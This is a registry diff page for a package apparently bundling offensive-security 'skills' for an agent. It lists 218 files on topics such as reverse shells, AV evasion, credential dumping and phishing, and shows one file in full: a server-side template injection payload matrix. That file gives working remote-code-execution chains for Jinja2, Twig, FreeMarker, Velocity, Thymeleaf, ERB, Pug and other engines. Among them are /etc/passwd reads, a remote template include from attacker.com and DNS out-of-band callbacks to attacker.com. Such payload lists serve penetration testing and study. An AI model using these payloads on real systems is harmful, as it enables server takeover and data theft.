ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,456 @@
1
+ # ENGINE_PAYLOADS.md — Extended SSTI Fingerprinting & Payload Matrix
2
+
3
+ > Companion to [SKILL.md](./SKILL.md). Contains per-engine payloads, fingerprint probes, and blind SSTI detection techniques.
4
+
5
+ ---
6
+
7
+ ## 1. ENGINE FINGERPRINTING DECISION TREE
8
+
9
+ ```text
10
+ Send: {{7*7}}
11
+ ├── 49 → Jinja2 or Twig?
12
+ │ └── Send: {{7*'7'}}
13
+ │ ├── 7777777 → Jinja2 (Python string multiplication)
14
+ │ └── 49 → Twig (PHP numeric cast)
15
+ ├── {{7*7}} (literal) → Not Jinja2/Twig, try others
16
+ │ └── Send: ${7*7}
17
+ │ ├── 49 → FreeMarker, Velocity, or EL?
18
+ │ │ └── Send: ${class.getClass()}
19
+ │ │ ├── Works → Velocity
20
+ │ │ └── Error → Send: <#assign x=1>${x}
21
+ │ │ ├── 1 → FreeMarker
22
+ │ │ └── Error → Java EL / Thymeleaf
23
+ │ └── ${7*7} (literal) → try #{7*7}, <%= 7*7 %>, {7*7}
24
+ │ ├── #{7*7} → 49 → Pug/Jade or Ruby interpolation
25
+ │ ├── <%= 7*7 %> → 49 → ERB (Ruby) or EJS (Node.js)
26
+ │ └── {7*7} → 49 → Smarty (PHP)
27
+ └── Error/500 → Check error message for engine name (stack trace fingerprint)
28
+ ```
29
+
30
+ ---
31
+
32
+ ## 2. JINJA2 (PYTHON)
33
+
34
+ ### Information disclosure
35
+
36
+ ```python
37
+ {{config}}
38
+ {{config.items()}}
39
+ {{request.environ}}
40
+ {{request.application.__globals__}}
41
+ {{self.__dict__}}
42
+ {{[].__class__.__base__.__subclasses__()}}
43
+ ```
44
+
45
+ ### RCE chains
46
+
47
+ ```python
48
+ # Via config globals
49
+ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
50
+
51
+ # Via lipsum (Flask built-in)
52
+ {{lipsum.__globals__.os.popen('id').read()}}
53
+
54
+ # Via cycler
55
+ {{cycler.__init__.__globals__.os.popen('id').read()}}
56
+
57
+ # Via joiner
58
+ {{joiner.__init__.__globals__.os.popen('id').read()}}
59
+
60
+ # Via namespace
61
+ {{namespace.__init__.__globals__.os.popen('id').read()}}
62
+
63
+ # Via __import__ through builtins
64
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
65
+
66
+ # MRO subclass traversal (universal, no Flask dependency)
67
+ # Step 1: Find Popen class index
68
+ {% for c in ''.__class__.__mro__[1].__subclasses__() %}
69
+ {% if 'Popen' in c.__name__ %}{{loop.index0}}{% endif %}
70
+ {% endfor %}
71
+ # Step 2: Execute (replace INDEX)
72
+ {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
73
+ ```
74
+
75
+ ### Sandbox bypass when `_` is blocked
76
+
77
+ ```python
78
+ {{request|attr('\x5f\x5fclass\x5f\x5f')}}
79
+ {{''['\x5f\x5fclass\x5f\x5f']}}
80
+ {{config|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
81
+
82
+ # Via request.args to smuggle blocked keywords
83
+ {{request.args.x.__class__}}&x=1
84
+ # Via request.cookies
85
+ {{request.cookies.get('\x5f\x5fclass\x5f\x5f')}}
86
+ ```
87
+
88
+ ### Sandbox bypass when `.` is blocked
89
+
90
+ ```python
91
+ {{config['SECRET_KEY']}}
92
+ {{''['__class__']['__mro__'][1]}}
93
+ {{()|attr('__class__')}}
94
+ ```
95
+
96
+ ---
97
+
98
+ ## 3. TWIG (PHP)
99
+
100
+ ### Information disclosure
101
+
102
+ ```twig
103
+ {{_self}}
104
+ {{_self.env}}
105
+ {{_context}}
106
+ {{app.request.server.all|join(',')}}
107
+ {{app.request.cookies.all|join(',')}}
108
+ ```
109
+
110
+ ### RCE chains
111
+
112
+ ```twig
113
+ {# Twig 1.x #}
114
+ {{_self.env.registerUndefinedFilterCallback("exec")}}
115
+ {{_self.env.getFilter("id")}}
116
+
117
+ {# Twig 1.x — system() #}
118
+ {{_self.env.registerUndefinedFilterCallback("system")}}
119
+ {{_self.env.getFilter("id")}}
120
+
121
+ {# Twig 2.x/3.x via filter map #}
122
+ {{['id']|map('system')|join}}
123
+ {{['id']|filter('system')}}
124
+ {{['cat /etc/passwd']|map('exec')|join}}
125
+
126
+ {# Twig 2.x — reduce with passthru #}
127
+ {{[0]|reduce('system','id')}}
128
+
129
+ {# Twig — setCache for remote include (Twig 1.x) #}
130
+ {{_self.env.setCache("ftp://attacker.com/")}}
131
+ {{_self.env.loadTemplate("shell")}}
132
+ ```
133
+
134
+ ---
135
+
136
+ ## 4. FREEMARKER (JAVA)
137
+
138
+ ### RCE via Execute
139
+
140
+ ```freemarker
141
+ <#assign ex="freemarker.template.utility.Execute"?new()>
142
+ ${ex("id")}
143
+ ${ex("cat /etc/passwd")}
144
+ ```
145
+
146
+ ### RCE via ObjectConstructor
147
+
148
+ ```freemarker
149
+ <#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
150
+ <#assign br=ob("java.io.BufferedReader",
151
+ ob("java.io.InputStreamReader",
152
+ ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))>
153
+ ${br.readLine()}
154
+ ```
155
+
156
+ ### RCE via JythonRuntime (if Jython available)
157
+
158
+ ```freemarker
159
+ <#assign jr="freemarker.template.utility.JythonRuntime"?new()>
160
+ <@jr>import os; os.system("id")</@jr>
161
+ ```
162
+
163
+ ### File read
164
+
165
+ ```freemarker
166
+ <#assign file=object("java.io.File","/etc/passwd")>
167
+ <#assign reader=object("java.util.Scanner",file)>
168
+ ${reader.useDelimiter("\\A").next()}
169
+ ```
170
+
171
+ ---
172
+
173
+ ## 5. VELOCITY (JAVA)
174
+
175
+ ### RCE chains
176
+
177
+ ```velocity
178
+ #set($x='')
179
+ #set($rt=$x.class.forName('java.lang.Runtime'))
180
+ #set($chr=$x.class.forName('java.lang.Character'))
181
+ #set($str=$x.class.forName('java.lang.String'))
182
+ #set($ex=$rt.getRuntime().exec('id'))
183
+ $ex.waitFor()
184
+ #set($out=$ex.getInputStream())
185
+ #foreach($i in [1..$out.available()])$chr.toChars($out.read())#end
186
+ ```
187
+
188
+ ### Alternative via ClassTool
189
+
190
+ ```velocity
191
+ #set($proc=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
192
+ #set($reader=$class.inspect("java.io.BufferedReader").type.getDeclaredConstructor(
193
+ $class.inspect("java.io.Reader").type).newInstance(
194
+ $class.inspect("java.io.InputStreamReader").type.getDeclaredConstructor(
195
+ $class.inspect("java.io.InputStream").type).newInstance($proc.getInputStream())))
196
+ $reader.readLine()
197
+ ```
198
+
199
+ ---
200
+
201
+ ## 6. PEBBLE (JAVA)
202
+
203
+ ```pebble
204
+ {% set cmd = 'id' %}
205
+ {% set bytes = (1).TYPE
206
+ .forName('java.lang.Runtime')
207
+ .methods[6]
208
+ .invoke(null,null)
209
+ .exec(cmd)
210
+ .inputStream
211
+ .readAllBytes() %}
212
+ {{ (1).TYPE.forName('java.lang.String')
213
+ .getDeclaredConstructors()[0]
214
+ .newInstance(([bytes]) ) }}
215
+ ```
216
+
217
+ Alternative (shorter):
218
+ ```pebble
219
+ {{ (1).TYPE.forName("java.lang.Runtime").methods[6].invoke(null,null).exec("id") }}
220
+ ```
221
+
222
+ ---
223
+
224
+ ## 7. MAKO (PYTHON)
225
+
226
+ ```mako
227
+ ${self.module.cache.util.os.popen('id').read()}
228
+ ```
229
+
230
+ Alternative chains:
231
+ ```mako
232
+ <%
233
+ import os
234
+ x = os.popen('id').read()
235
+ %>
236
+ ${x}
237
+
238
+ <%
239
+ import subprocess
240
+ x = subprocess.check_output(['id'])
241
+ %>
242
+ ${x}
243
+ ```
244
+
245
+ Mako executes Python code directly within `<% %>` blocks — no sandbox to escape.
246
+
247
+ ---
248
+
249
+ ## 8. SLIM (RUBY)
250
+
251
+ ```slim
252
+ #{`id`}
253
+ #{ system('id') }
254
+ #{ IO.popen('id').read }
255
+ #{ File.read('/etc/passwd') }
256
+ ```
257
+
258
+ Slim and Haml support Ruby interpolation in `#{ }` blocks — same as ERB `<%= %>`:
259
+ ```slim
260
+ = `id`
261
+ = system('whoami')
262
+ ```
263
+
264
+ ---
265
+
266
+ ## 9. HANDLEBARS (NODE.JS)
267
+
268
+ Handlebars is "logic-less" by design, but prototype pollution or helper registration can enable RCE:
269
+
270
+ ### RCE via constructor access
271
+
272
+ ```handlebars
273
+ {{#with "s" as |string|}}
274
+ {{#with "e"}}
275
+ {{#with split as |conslist|}}
276
+ {{this.pop}}
277
+ {{this.push (lookup string.sub "constructor")}}
278
+ {{this.pop}}
279
+ {{#with string.split as |codelist|}}
280
+ {{this.pop}}
281
+ {{this.push "return require('child_process').execSync('id')"}}
282
+ {{this.pop}}
283
+ {{#each conslist}}
284
+ {{#with (string.sub.apply 0 codelist)}}
285
+ {{this}}
286
+ {{/with}}
287
+ {{/each}}
288
+ {{/with}}
289
+ {{/with}}
290
+ {{/with}}
291
+ {{/with}}
292
+ ```
293
+
294
+ ### Information leak
295
+
296
+ ```handlebars
297
+ {{this}}
298
+ {{this.constructor}}
299
+ {{#each this}}{{@key}}: {{this}}{{/each}}
300
+ ```
301
+
302
+ ---
303
+
304
+ ## 10. THYMELEAF (JAVA / SPRING)
305
+
306
+ ### SpEL-based RCE
307
+
308
+ ```java
309
+ // In fragment selector context
310
+ __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
311
+
312
+ // With output capture
313
+ __${T(org.apache.commons.io.IOUtils).toString(
314
+ T(java.lang.Runtime).getRuntime().exec(
315
+ new String[]{"/bin/sh","-c","id"}).getInputStream()
316
+ )}__::.x
317
+
318
+ // In th:text or th:utext attribute
319
+ ${T(java.lang.Runtime).getRuntime().exec('id')}
320
+
321
+ // URL-based injection (Spring view name resolution)
322
+ GET /doc/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
323
+ ```
324
+
325
+ ### Pre-processing expression `__${...}__`
326
+
327
+ Thymeleaf pre-processes `__${expr}__` before template rendering — this is the primary injection vector when view names are user-controlled.
328
+
329
+ ### File read via SpEL
330
+
331
+ ```java
332
+ ${T(java.nio.file.Files).readString(T(java.nio.file.Path).of('/etc/passwd'))}
333
+ ```
334
+
335
+ ---
336
+
337
+ ## 11. SMARTY (PHP)
338
+
339
+ ```smarty
340
+ {system('id')}
341
+ {exec('id')}
342
+ {passthru('id')}
343
+ {php}system('id');{/php}
344
+
345
+ {# Smarty 3.x — {php} tags disabled by default, use: #}
346
+ {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}
347
+
348
+ {# Information disclosure #}
349
+ {$smarty.version}
350
+ {$smarty.template}
351
+ {$smarty.server.SERVER_NAME}
352
+ ```
353
+
354
+ ---
355
+
356
+ ## 12. ERB (RUBY)
357
+
358
+ ```erb
359
+ <%= system('id') %>
360
+ <%= `id` %>
361
+ <%= exec('id') %>
362
+ <%= IO.popen('id').read %>
363
+ <%= open('|id').read %>
364
+ <%= %x(id) %>
365
+ <%= File.read('/etc/passwd') %>
366
+ <%= Dir.entries('/') %>
367
+ ```
368
+
369
+ ERB has no sandbox — any Ruby code executes directly.
370
+
371
+ ---
372
+
373
+ ## 13. JADE / PUG (NODE.JS)
374
+
375
+ ```pug
376
+ #{root.process.mainModule.require('child_process').execSync('id')}
377
+
378
+ - var x = root.process.mainModule.require('child_process').execSync('id').toString()
379
+ p= x
380
+
381
+ #{global.process.mainModule.require('child_process').execSync('id').toString()}
382
+ ```
383
+
384
+ ### File read
385
+
386
+ ```pug
387
+ - var fs = root.process.mainModule.require('fs')
388
+ p= fs.readFileSync('/etc/passwd','utf8')
389
+ ```
390
+
391
+ ---
392
+
393
+ ## 14. BLIND SSTI DETECTION
394
+
395
+ When template output is not directly visible in the response:
396
+
397
+ ### Timing-based
398
+
399
+ ```text
400
+ # Jinja2
401
+ {{range(10000000)|list}} → CPU spike / slow response
402
+ {{''.__class__.__mro__[1].__subclasses__()[INDEX]('sleep 5',shell=True)}}
403
+
404
+ # Twig
405
+ {{['sleep 5']|map('system')}}
406
+
407
+ # FreeMarker
408
+ <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 5")}
409
+
410
+ # Velocity
411
+ #set($x=''.class.forName('java.lang.Runtime').getRuntime().exec('sleep 5'))
412
+
413
+ # ERB
414
+ <%= sleep(5) %>
415
+
416
+ # Smarty
417
+ {system('sleep 5')}
418
+ ```
419
+
420
+ Compare response time: baseline vs payload. 5+ second delta = confirmed blind SSTI.
421
+
422
+ ### DNS-based (OOB)
423
+
424
+ ```text
425
+ # Jinja2
426
+ {{lipsum.__globals__.os.popen('nslookup TOKEN.attacker.com').read()}}
427
+
428
+ # Twig
429
+ {{['nslookup TOKEN.attacker.com']|map('system')}}
430
+
431
+ # FreeMarker
432
+ <#assign ex="freemarker.template.utility.Execute"?new()>${ex("nslookup TOKEN.attacker.com")}
433
+
434
+ # ERB
435
+ <%= `nslookup TOKEN.attacker.com` %>
436
+
437
+ # Pug/Jade
438
+ #{root.process.mainModule.require('child_process').execSync('nslookup TOKEN.attacker.com')}
439
+ ```
440
+
441
+ DNS hit on Burp Collaborator / interactsh = confirmed blind SSTI with RCE.
442
+
443
+ ### Error-based fingerprinting
444
+
445
+ Force a parser error — the error message or stack trace often names the engine:
446
+
447
+ ```text
448
+ ${{<%[%'"}}%\.
449
+ ```
450
+
451
+ Parse errors from different engines:
452
+ - `jinja2.exceptions.TemplateSyntaxError` → Jinja2
453
+ - `Twig\Error\SyntaxError` → Twig
454
+ - `freemarker.core.ParseException` → FreeMarker
455
+ - `org.apache.velocity.exception.ParseErrorException` → Velocity
456
+ - `SyntaxError` with Pug stack → Pug/Jade